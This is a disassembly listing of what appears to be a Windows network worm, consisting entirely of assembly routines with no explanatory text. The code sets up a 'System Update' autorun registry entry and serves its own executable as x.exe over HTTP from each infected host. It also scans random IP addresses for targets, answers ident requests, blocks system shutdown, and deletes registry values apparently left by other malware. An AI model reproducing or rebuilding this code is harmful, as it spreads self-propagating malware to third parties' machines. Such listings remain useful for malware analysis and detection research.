		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_31501943


loc_3150195A:				; CODE XREF: sub_31501932+Fj
		and	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_31501932	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501962	proc near		; CODE XREF: sub_315029C7+16Bp
					; sub_31503608+105p

var_54		= dword	ptr -54h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	esi
		push	edi
		push	44h
		xor	esi, esi
		pop	edi
		lea	eax, [ebp+var_54]
		push	edi
		push	esi
		push	eax
		call	sub_31503A38	; memset
		mov	ax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	[ebp+var_54], edi
		push	[ebp+arg_0]
		push	esi
		call	dword_315010D4	; CreateProcessA
		push	[ebp+var_C]
		mov	esi, dword_315010BC
		mov	edi, eax
		call	esi	; CloseHandle
		push	[ebp+var_10]
		call	esi	; CloseHandle
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_31501962	endp


; =============== S U B	R O U T	I N E =======================================



sub_315019B8	proc near		; CODE XREF: sub_31502DEC+20p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		call	dword_31501184	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_315019D5
		test	esi, esi
		jnz	short loc_315019E7
		cmp	byte ptr [edi],	30h
		jz	short loc_315019EE


loc_315019D5:				; CODE XREF: sub_315019B8+12j
		push	edi
		call	dword_31501188	; gethostbyname
		test	eax, eax
		jz	short loc_315019E7
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]


loc_315019E7:				; CODE XREF: sub_315019B8+16j
					; sub_315019B8+26j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_315019EE
		xor	esi, esi


loc_315019EE:				; CODE XREF: sub_315019B8+1Bj
					; sub_315019B8+32j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_315019B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315019F3	proc near		; CODE XREF: sub_315021B0+3Ep
					; sub_31502277+7p

var_34		= byte ptr -34h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		lea	eax, [ebp+var_34]
		push	31h
		push	eax
		call	dword_3150117C	; gethostname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_31501A14
		call	dword_31501180	; WSAGetLastError
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_31501A14:				; CODE XREF: sub_315019F3+15j
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_31501188	; gethostbyname
		test	eax, eax
		jnz	short loc_31501A29
		mov	eax, 100007Fh
		leave
		retn
; ---------------------------------------------------------------------------


loc_31501A29:				; CODE XREF: sub_315019F3+2Dj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		leave
		retn
sub_315019F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_31501A32	proc near		; CODE XREF: sub_315020C4+22p
					; sub_31502128+27p ...

var_4		= byte ptr -4

		push	ecx
		lea	eax, [esp+4+var_4]
		push	0
		push	eax
		call	dword_3150115C	; InternetGetConnectedState
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		retn
sub_31501A32	endp


; =============== S U B	R O U T	I N E =======================================



sub_31501A48	proc near		; CODE XREF: sub_31501D96+40p
					; sub_31501D96+4Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	0
		push	2
		call	dword_315010DC	; OpenEventA
		test	eax, eax
		jz	short locret_31501A61
		push	eax
		call	dword_315010D8	; SetEvent

locret_31501A61:			; CODE XREF: sub_31501A48+10j
		retn
sub_31501A48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501A62	proc near		; DATA XREF: sub_31501BA8+127o

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		lea	eax, [ebp+var_100]
		push	edi
		push	100h
		push	eax
		push	ebx
		call	dword_315011A0	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_31501A93
		push	1
		jmp	loc_31501B4E
; ---------------------------------------------------------------------------


loc_31501A93:				; CODE XREF: sub_31501A62+28j
		mov	esi, dword_31501120
		lea	eax, [ebp+var_100]
		push	offset aGet	; "GET"
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_31501B5E
		lea	eax, [ebp+var_100]
		push	offset a_exe	; ".exe"
		push	eax
		call	esi	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_31501B5E
		mov	esi, dword_3150119C
		push	0
		push	3Dh
		push	offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"...
		push	ebx
		call	esi	; send
		push	ds:dword_31506160
		lea	eax, [ebp+var_200]
		push	offset aContentLengthU ; "Content-Length: %u\r\n\r\n"
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_31503A3E	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		call	esi	; send


loc_31501B10:				; CODE XREF: sub_31501A62+E8j
		mov	eax, ds:dword_31506160
		mov	ecx, 1000h
		sub	eax, edi
		cmp	eax, ecx
		jb	short loc_31501B22
		mov	eax, ecx


loc_31501B22:				; CODE XREF: sub_31501A62+BCj
		test	eax, eax
		jz	short loc_31501B51
		push	0
		push	eax
		mov	eax, ds:dword_31506158
		add	eax, edi
		push	eax
		push	ebx
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_31501B4C
		cmp	eax, 1000h
		jb	short loc_31501B51
		push	64h
		add	edi, eax
		call	dword_315010A4	; Sleep
		jmp	short loc_31501B10
; ---------------------------------------------------------------------------


loc_31501B4C:				; CODE XREF: sub_31501A62+D5j
		push	2


loc_31501B4E:				; CODE XREF: sub_31501A62+2Cj
		pop	eax
		jmp	short loc_31501BA1
; ---------------------------------------------------------------------------


loc_31501B51:				; CODE XREF: sub_31501A62+C2j
					; sub_31501A62+DCj
		push	offset dword_3150615C
		call	dword_315010E4	; InterlockedIncrement
		jmp	short loc_31501B7C
; ---------------------------------------------------------------------------


loc_31501B5E:				; CODE XREF: sub_31501A62+49j
					; sub_31501A62+61j
		mov	esi, dword_3150119C
		push	0
		push	15h
		push	offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n"
		push	ebx
		call	esi	; send
		push	0
		push	3
		push	offset dword_31505A84
		push	ebx
		call	esi	; send


loc_31501B7C:				; CODE XREF: sub_31501A62+FAj
		push	7D0h
		call	dword_315010A4	; Sleep
		push	2
		push	ebx
		call	dword_315011A4	; shutdown
		push	ebx
		call	dword_315011A8	; closesocket
		push	0
		call	dword_315010E0	; ExitThread
		xor	eax, eax


loc_31501BA1:				; CODE XREF: sub_31501A62+EDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_31501A62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501BA8	proc near		; DATA XREF: sub_31501D96+14Bo

var_130		= byte ptr -130h
var_28		= byte ptr -28h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		push	edi
		call	sub_315018BA
		lea	eax, [ebp+var_130]
		push	104h
		push	eax
		push	offset aSystemUpdate ; "System Update"
		xor	ebx, ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	ds:dword_3150615C, ebx
		call	sub_315023E4
		add	esp, 14h
		test	eax, eax
		jnz	loc_31501CDD
		push	esi
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_130]
		push	80000000h
		push	eax
		call	dword_315010F0	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_31501C14
		push	1
		call	dword_315010E0	; ExitThread


loc_31501C14:				; CODE XREF: sub_31501BA8+62j
		push	ebx
		push	esi
		call	dword_315010EC	; GetFileSize
		push	eax
		mov	ds:dword_31506160, eax
		call	sub_31502800
		pop	ecx
		mov	ds:dword_31506158, eax
		lea	ecx, [ebp+var_4]
		push	ebx
		push	ecx
		push	ds:dword_31506160
		push	eax
		push	esi
		call	dword_315010E8	; ReadFile
		mov	eax, [ebp+var_4]
		push	esi
		mov	ds:dword_31506160, eax
		call	dword_315010BC	; CloseHandle
		push	ebx
		push	1
		push	2
		call	dword_3150118C	; socket
		push	10h
		mov	edi, eax
		pop	esi
		lea	eax, [ebp+var_18]
		push	esi
		push	ebx
		push	eax
		call	sub_31503A38	; memset
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], ebx


loc_31501C76:				; CODE XREF: sub_31501BA8+E5j
					; sub_31501BA8+EDj ...
		call	dword_31501124	; rand
		add	eax, 7D0h
		and	eax, 1FFFh
		cmp	al, bl
		mov	ds:dword_3150618C, eax
		jz	short loc_31501C76
		xor	ecx, ecx
		mov	cl, ah
		test	cl, cl
		jz	short loc_31501C76
		push	eax
		call	dword_31501194	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		push	edi
		call	dword_31501170	; bind
		test	eax, eax
		jnz	short loc_31501C76
		push	64h
		push	edi
		call	dword_31501174	; listen
		mov	[ebp+var_8], esi
		pop	esi


loc_31501CBF:				; CODE XREF: sub_31501BA8+133j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	dword_31501178	; accept
		push	eax
		push	offset sub_31501A62
		call	sub_31501911
		pop	ecx
		pop	ecx
		jmp	short loc_31501CBF
; ---------------------------------------------------------------------------


loc_31501CDD:				; CODE XREF: sub_31501BA8+3Dj
		push	ebx
		call	dword_315010E0	; ExitThread
		pop	edi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_31501BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501CEC	proc near		; CODE XREF: sub_31501D96:loc_31501EB6p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		lea	eax, [ebp+var_190]
		push	esi
		mov	esi, dword_3150116C
		push	eax
		push	2
		call	esi	; WSAStartup
		lea	eax, [ebp+var_190]
		push	eax
		push	102h
		call	esi	; WSAStartup
		pop	esi
		leave
		retn
sub_31501CEC	endp

; ---------------------------------------------------------------------------


loc_31501D18:				; CODE XREF: UPX1:31508558j
		push	0
		call	dword_315010C4	; GetModuleHandleA
		push	offset aFtpupd_exe ; "ftpupd.exe"
		mov	ds:dword_31506190, eax
		call	dword_31501094	; DeleteFileA
		call	sub_315018BA
		push	offset aUterm13_2i ; "uterm13.2i"
		call	sub_315018E8
		pop	ecx
		mov	ds:dword_31506164, eax
		call	dword_31501098	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_31501D5A
		push	1
		call	dword_3150109C	; ExitProcess


loc_31501D5A:				; CODE XREF: UPX0:31501D50j
		call	sub_31501727
		call	sub_31502548
		call	sub_315026C2
		push	offset sub_31501D96
		call	sub_315017AF
		test	eax, eax
		pop	ecx
		jz	short loc_31501D7F
		push	0
		call	sub_31501D96


loc_31501D7F:				; CODE XREF: UPX0:31501D76j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_31501D82	proc near		; CODE XREF: sub_31501D96:loc_31501F04p
					; sub_315020C4:loc_315020DDp ...
		push	0
		push	ds:dword_31506168
		call	dword_31501090	; WaitForSingleObject
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
sub_31501D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501D96	proc near		; CODE XREF: UPX0:31501D7Ap
					; DATA XREF: UPX0:31501D69o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_315011B0
		push	offset loc_31503A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset aU13_2ix	; "u13.2ix"
		xor	edi, edi
		push	edi
		push	1
		push	edi
		call	dword_3150108C	; CreateEventA
		mov	ds:dword_31506168, eax
		mov	[ebp+var_4], edi
		push	offset aU10x	; "u10x"
		call	sub_31501A48
		mov	[esp+8+var_8], offset aU11x ; "u11x"
		call	sub_31501A48
		mov	[esp+8+var_8], offset aU12x ; "u12x"
		call	sub_31501A48
		mov	[esp+8+var_8], offset aU13x ; "u13x"
		call	sub_31501A48
		mov	[esp+8+var_8], offset aU13ix ; "u13ix"
		call	sub_31501A48
		mov	[esp+8+var_8], offset aU8 ; "u8"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU9 ; "u9"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU10 ; "u10"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU11 ; "u11"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU12 ; "u12"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU13 ; "u13"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU13i ; "u13i"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU13_2i ;	"u13.2i"
		call	sub_315018E8
		mov	[esp+8+var_8], offset aU14 ; "u14"
		call	sub_315018E8
		pop	ecx
		cmp	[ebp+arg_0], edi
		jz	short loc_31501EB6
		push	offset aWs2_32	; "ws2_32"
		mov	esi, dword_315010B4
		call	esi	; LoadLibraryA
		push	offset aWininet	; "wininet"
		call	esi	; LoadLibraryA
		push	offset aMsvcrt	; "msvcrt"
		call	esi	; LoadLibraryA
		push	offset aAdvapi32 ; "advapi32"
		call	esi	; LoadLibraryA
		push	offset aUser32	; "user32"
		call	esi	; LoadLibraryA
		push	offset aUterm13_2i ; "uterm13.2i"
		call	sub_315018E8
		pop	ecx
		mov	ds:dword_31506164, eax


loc_31501EB6:				; CODE XREF: sub_31501D96+E5j
		call	sub_31501CEC
		push	edi
		push	offset sub_31501F6B
		call	sub_31501911
		pop	ecx
		pop	ecx
		push	1F4h
		mov	esi, dword_315010A4
		call	esi	; Sleep
		push	edi
		push	offset loc_31503408
		call	sub_315018F7
		push	edi
		push	offset sub_31501BA8
		call	sub_315018F7
		push	edi
		push	offset sub_31502BE8
		call	sub_315018F7
		push	edi
		push	offset loc_315022D3
		call	sub_315018F7
		add	esp, 20h


loc_31501F04:				; CODE XREF: sub_31501D96+185j
		call	sub_31501D82
		test	eax, eax
		jnz	short loc_31501F1D
		push	edi
		call	dword_31501038	; AbortSystemShutdownA
		push	1388h
		call	esi	; Sleep
		jmp	short loc_31501F04
; ---------------------------------------------------------------------------


loc_31501F1D:				; CODE XREF: sub_31501D96+175j
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		xor	eax, eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_31501D96	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_31501F3A	proc near		; CODE XREF: sub_31501F6B+F9p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_31503A3E	; strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_31501F68


loc_31501F4D:				; CODE XREF: sub_31501F3A+2Cj
		mov	al, [esi+edi]
		cmp	al, 0Ah
		jz	short loc_31501F58
		cmp	al, 0Dh
		jnz	short loc_31501F5C


loc_31501F58:				; CODE XREF: sub_31501F3A+18j
		and	byte ptr [esi+edi], 0


loc_31501F5C:				; CODE XREF: sub_31501F3A+1Cj
		push	edi
		inc	esi
		call	sub_31503A3E	; strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_31501F4D


loc_31501F68:				; CODE XREF: sub_31501F3A+11j
		pop	edi
		pop	esi
		retn
sub_31501F3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31501F6B	proc near		; DATA XREF: sub_31501D96+126o

var_154		= dword	ptr -154h
var_148		= byte ptr -148h
var_48		= byte ptr -48h
var_28		= byte ptr -28h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 148h
		push	ebx
		mov	[ebp+var_8], esp
		call	sub_315018BA
		call	dword_31501124	; rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_48]
		add	edx, 3
		push	edx
		push	eax
		call	sub_31501932
		lea	eax, [ebp+var_48]
		mov	ebx, offset dword_3150616C
		push	eax
		push	ebx
		call	sub_31503A8C	; strcpy
		add	esp, 10h
		mov	[ebp+var_4], 10h
		push	0
		push	1
		push	2
		call	dword_3150118C	; socket
		push	0
		mov	[ebp+var_8], eax
		mov	[ebp+var_18], 2
		call	dword_31501168	; ntohl
		push	71h
		mov	[ebp+var_14], eax
		call	dword_31501194	; ntohs
		push	[ebp+var_4]
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	dword_31501170	; bind
		test	eax, eax
		jz	short loc_31501FF7
		push	1
		pop	eax


loc_31501FF2:				; CODE XREF: sub_31501F6B+A2j
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_31501FF7:				; CODE XREF: sub_31501F6B+82j
		push	esi
		push	edi
		push	5
		push	[ebp+var_8]
		call	dword_31501174	; listen
		test	eax, eax
		jz	short loc_3150200F
		push	1
		pop	eax
		pop	edi
		pop	esi
		jmp	short loc_31501FF2
; ---------------------------------------------------------------------------


loc_3150200F:				; CODE XREF: sub_31501F6B+9Bj
		mov	edi, dword_315010A4


loc_31502015:				; CODE XREF: sub_31501F6B+C6j
					; sub_31501F6B+E8j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_8]
		call	dword_31501178	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_31502033
		push	64h
		call	edi	; Sleep
		jmp	short loc_31502015
; ---------------------------------------------------------------------------


loc_31502033:				; CODE XREF: sub_31501F6B+C0j
		push	0
		lea	eax, [ebp+var_148]
		push	100h
		push	eax
		push	esi
		call	dword_315011A0	; recv
		test	eax, eax
		jnz	short loc_31502055


loc_3150204C:				; CODE XREF: sub_31501F6B+157j
		push	esi
		call	dword_315011A8	; closesocket
		jmp	short loc_31502015
; ---------------------------------------------------------------------------


loc_31502055:				; CODE XREF: sub_31501F6B+DFj
		and	[ebp+eax+var_148], 0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_31501F3A
		lea	eax, [ebp+var_148]
		mov	[esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : "
		push	eax
		call	sub_31503A86	; strcat
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		call	sub_31503A86	; strcat
		lea	eax, [ebp+var_148]
		push	offset asc_31505B8C ; "\r\n"
		push	eax
		call	sub_31503A86	; strcat
		add	esp, 18h
		lea	eax, [ebp+var_148]
		push	0
		push	eax
		call	sub_31503A3E	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	esi
		call	dword_3150119C	; send
		push	1388h
		call	edi	; Sleep
		jmp	short loc_3150204C
sub_31501F6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315020C4	proc near		; DATA XREF: sub_31502128+55o
					; sub_315021B0+6Ao ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_315020D3
		push	1
		pop	eax
		jmp	short locret_31502124
; ---------------------------------------------------------------------------


loc_315020D3:				; CODE XREF: sub_315020C4+8j
		mov	al, byte ptr [ebp+arg_0+3]
		push	ebx
		push	esi
		mov	[ebp+var_1], al
		xor	bl, bl


loc_315020DD:				; CODE XREF: sub_315020C4+5Aj
		call	sub_31501D82
		test	eax, eax
		jnz	short loc_31502120
		call	sub_31501A32
		test	eax, eax
		jz	short loc_31502120
		cmp	[ebp+var_1], bl
		jz	short loc_31502119
		mov	byte ptr [ebp+arg_0+3],	bl
		push	[ebp+arg_0]
		call	sub_315011C0
		movzx	esi, ds:word_3150619C
		pop	ecx
		call	dword_31501124	; rand
		cdq
		idiv	esi
		add	edx, esi
		push	edx
		call	dword_315010A4	; Sleep


loc_31502119:				; CODE XREF: sub_315020C4+2Ej
		inc	bl
		cmp	bl, 0FFh
		jb	short loc_315020DD


loc_31502120:				; CODE XREF: sub_315020C4+20j
					; sub_315020C4+29j
		pop	esi
		xor	eax, eax
		pop	ebx

locret_31502124:			; CODE XREF: sub_315020C4+Dj
		leave
		retn	4
sub_315020C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502128	proc near		; DATA XREF: sub_315021B0+7Eo
					; UPX0:31502365o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	byte ptr [ebp+arg_0], 7Fh
		jnz	short loc_31502136
		push	1
		pop	eax
		jmp	short loc_315021AC
; ---------------------------------------------------------------------------


loc_31502136:				; CODE XREF: sub_31502128+7j
		push	ebx
		push	esi
		push	edi
		call	sub_315018BA
		mov	esi, dword_31501124
		xor	ebx, ebx


loc_31502146:				; CODE XREF: sub_31502128+7Dj
		call	sub_31501D82
		test	eax, eax
		jnz	short loc_315021A7
		call	sub_31501A32
		test	eax, eax
		jz	short loc_315021A7
		call	esi	; rand
		mov	byte ptr [ebp+arg_0+2],	al
		call	esi	; rand
		push	offset dword_31506194
		mov	byte ptr [ebp+arg_0+3],	al
		call	dword_315010E4	; InterlockedIncrement
		push	[ebp+arg_0]
		call	sub_315011C0
		test	eax, eax
		pop	ecx
		jnz	short loc_31502189
		push	[ebp+arg_0]
		push	offset sub_315020C4
		call	sub_31501911
		pop	ecx
		pop	ecx


loc_31502189:				; CODE XREF: sub_31502128+50j
		movzx	edi, ds:word_3150619C
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	dword_315010A4	; Sleep
		inc	ebx
		cmp	ebx, 8000h
		jl	short loc_31502146


loc_315021A7:				; CODE XREF: sub_31502128+25j
					; sub_31502128+2Ej
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx


loc_315021AC:				; CODE XREF: sub_31502128+Cj
		pop	ebp
		retn	4
sub_31502128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315021B0	proc near		; DATA XREF: UPX0:3150237Do

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		call	sub_315018BA
		call	sub_31501D82
		test	eax, eax
		jnz	loc_31502269
		push	ebx
		mov	ebx, dword_315010A4
		push	esi
		mov	esi, dword_31501124
		push	edi


loc_315021D6:				; CODE XREF: sub_315021B0+48j
					; sub_315021B0+B0j
		call	esi	; rand
		mov	byte ptr [ebp+var_4+1],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+3],	al
		call	esi	; rand
		mov	byte ptr [ebp+var_4+2],	al


loc_315021E5:				; CODE XREF: sub_315021B0+3Cj
		call	esi	; rand
		cmp	al, 7Fh
		mov	byte ptr [ebp+var_4], al
		jz	short loc_315021E5
		call	sub_315019F3
		mov	edi, [ebp+var_4]
		cmp	edi, eax
		jz	short loc_315021D6
		call	sub_31501A32
		test	eax, eax
		jz	short loc_31502241
		push	offset dword_31506194
		call	dword_315010E4	; InterlockedIncrement
		push	edi
		call	sub_315011C0
		test	eax, eax
		pop	ecx
		jnz	short loc_31502248
		push	edi
		push	offset sub_315020C4
		call	sub_31501911
		pop	ecx
		mov	[ebp+var_8], 4
		pop	ecx


loc_3150222D:				; CODE XREF: sub_315021B0+8Dj
		push	edi
		push	offset sub_31502128
		call	sub_31501911
		dec	[ebp+var_8]
		pop	ecx
		pop	ecx
		jnz	short loc_3150222D
		jmp	short loc_31502248
; ---------------------------------------------------------------------------


loc_31502241:				; CODE XREF: sub_315021B0+51j
		push	2710h
		call	ebx	; Sleep


loc_31502248:				; CODE XREF: sub_315021B0+67j
					; sub_315021B0+8Fj
		movzx	edi, ds:word_3150619C
		call	esi	; rand
		cdq
		idiv	edi
		add	edx, edi
		push	edx
		call	ebx	; Sleep
		call	sub_31501D82
		test	eax, eax
		jz	loc_315021D6
		pop	edi
		pop	esi
		pop	ebx


loc_31502269:				; CODE XREF: sub_315021B0+11j
		push	0
		call	dword_315010E0	; ExitThread
		xor	eax, eax
		leave
		retn	4
sub_315021B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31502277	proc near		; CODE XREF: UPX0:loc_3150233Ep
					; UPX0:loc_315023A8p

var_50		= byte ptr -50h
var_28		= byte ptr -28h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	esi
		call	sub_315019F3
		push	eax
		call	dword_31501190	; inet_ntoa
		mov	esi, dword_31501088
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	esi	; lstrcpyA
		push	ds:dword_3150618C
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_50]
		push	offset aHttpSDX_exe ; "http://%s:%d/x.exe"
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_50]
		push	eax
		push	offset word_31505002
		call	esi	; lstrcpyA
		push	offset byte_31505000
		call	dword_315010A0	; lstrlenA
		mov	byte_31505000[eax], 0DFh
		pop	esi
		leave
		retn
sub_31502277	endp

; ---------------------------------------------------------------------------


loc_315022D3:				; DATA XREF: sub_31501D96+161o
		push	ecx
		push	ecx
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		push	edi
		mov	ds:dword_31506194, ebp
		call	sub_31501A32
		mov	esi, dword_315010A4
		mov	edi, 1388h
		test	eax, eax
		jnz	short loc_31502301


loc_315022F5:				; CODE XREF: UPX0:315022FFj
		push	edi
		call	esi	; Sleep
		call	sub_31501A32
		test	eax, eax
		jz	short loc_315022F5


loc_31502301:				; CODE XREF: UPX0:315022F3j
		lea	eax, [esp+14h]
		push	ebp
		push	eax
		call	dword_3150115C	; InternetGetConnectedState
		test	byte ptr [esp+14h], 2
		push	50h
		mov	ds:dword_31506198, ebp
		pop	ebx
		mov	ds:word_3150619C, 96h
		jz	short loc_3150233E
		mov	ds:dword_31506198, 1
		mov	ebx, 15Eh
		mov	ds:word_3150619C, 14h


loc_3150233E:				; CODE XREF: UPX0:31502324j
		call	sub_31502277
		mov	ebp, [esp+14h]
		cmp	ebp, 100007Fh
		jz	short loc_3150235C
		push	ebp
		push	offset sub_315020C4
		call	sub_31501911
		pop	ecx
		pop	ecx


loc_3150235C:				; CODE XREF: UPX0:3150234Dj
		mov	dword ptr [esp+10h], 4


loc_31502364:				; CODE XREF: UPX0:31502375j
		push	ebp
		push	offset sub_31502128
		call	sub_31501911
		dec	dword ptr [esp+18h]
		pop	ecx
		pop	ecx
		jnz	short loc_31502364
		test	ebx, ebx
		jle	short loc_3150238C


loc_3150237B:				; CODE XREF: UPX0:3150238Aj
		push	0
		push	offset sub_315021B0
		call	sub_31501911
		pop	ecx
		dec	ebx
		pop	ecx
		jnz	short loc_3150237B


loc_3150238C:				; CODE XREF: UPX0:31502379j
					; UPX0:31502398j ...
		call	sub_31501A32
		test	eax, eax
		jz	short loc_3150239A
		push	edi
		call	esi	; Sleep
		jmp	short loc_3150238C
; ---------------------------------------------------------------------------


loc_3150239A:				; CODE XREF: UPX0:31502393j
					; UPX0:315023A6j
		call	sub_31501A32
		test	eax, eax
		jnz	short loc_315023A8
		push	edi
		call	esi	; Sleep
		jmp	short loc_3150239A
; ---------------------------------------------------------------------------


loc_315023A8:				; CODE XREF: UPX0:315023A1j
		call	sub_31502277
		jmp	short loc_3150238C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_315023AF	proc near		; CODE XREF: sub_31502548+8Cp
					; sub_315026C2+11Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		lea	eax, [ebp+arg_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_3150102C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_315023E2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	dword_31501030	; RegDeleteValueA
		push	[ebp+arg_4]
		call	dword_31501034	; RegCloseKey


